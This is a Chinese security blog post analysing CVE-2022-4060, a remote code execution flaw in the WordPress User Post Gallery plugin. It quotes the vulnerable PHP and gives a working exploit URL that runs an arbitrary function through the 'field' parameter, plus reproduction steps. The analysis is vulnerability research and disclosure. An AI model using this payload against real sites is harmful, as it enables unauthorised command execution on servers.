本文来自公众号:乌托邦安全团队
原文地址:http://mp.weixin.qq.com/s/qfGzRS_8ZABYReqjmBG35g
0x00 概述
User Post Gallery – UPG是wordpress的插件,该插件存在远程命令执行漏洞,公开于2022年12月26日,cve编号:CVE-2022-4060。
![图片[1]-WordPress远程代码执行漏洞(CVE-2022-4060)-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/01/d2b5ca33bd205845.png)
0x01 漏洞成因
截止2023年1月17日,因该漏洞一直未修复,在WordPress官方已暂时将该插件的下载,我只能在Github上找到了2021年上传的插件源码,庆幸的是该漏洞存在,我们对源码进行分析。
漏洞存在于wp-upg.php文件的upg_datatable函数。
先看下面的代码片段:
$val = array();
$val_param1 = array();
$val_param2 = array();
$val_param3 = array();
$values = explode(',', $request['field']);
foreach ($values as $option) {
$cap = explode(":", $option);
//$cap[0] Is a column label assigned in datatable.php
array_push($val, $cap[1]);
if (isset($cap[2])) {
array_push($val_param1, $cap[2]);
} else {
array_push($val_param1, '');
}
if (isset($cap[3])) {
array_push($val_param2, $cap[3]);
} else {
array_push($val_param2, '');
}
if (isset($cap[4])) {
array_push($val_param3, $cap[4]);
} else {
array_push($val_param3, '');
}
}
该函数在获取了请求参数field之后,以“:”进行分割,第二个值放入$val,分别将第三个值放入$val_param1,第四个值放入$val_param2,第五个值放入$val_param3。
这里是对请求的参数进行解析和赋值的操作,继续看后面的代码片段是如何使用这几个参数的。
for ($x = 0; $x < count($val); $x++) {
$func_name = trim($val[$x]);
if (function_exists($func_name)) {
$nestedData[] = $func_name($val_param1[$x], $val_param2[$x], $val_param3[$x]);
} else {
$nestedData[] = $func_name . "('" . $val_param1[$x] . "','" . $val_param2[$x] . ",'" . $val_param3[$x] . "') is invalid php function";
}
}
将$val的值作为函数名,分别传入$val_param1、$val_param2、$val_param3的值并执行函数,至此造成了RCE。
Payload的构造也极其简单,http://target/admin-ajax.php?action=upg_datatable&field=field:exec:id:NULL:NULL。
0x02 漏洞复现
- 在WordPress中安装UPG插件。
- 带payload访问站点。
![图片[2]-WordPress远程代码执行漏洞(CVE-2022-4060)-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/01/d2b5ca33bd210524.png)
漏洞利用成功
© 版权声明
渗透云记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
渗透云记拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:admin@encenc.com
THE END




















请登录后查看评论内容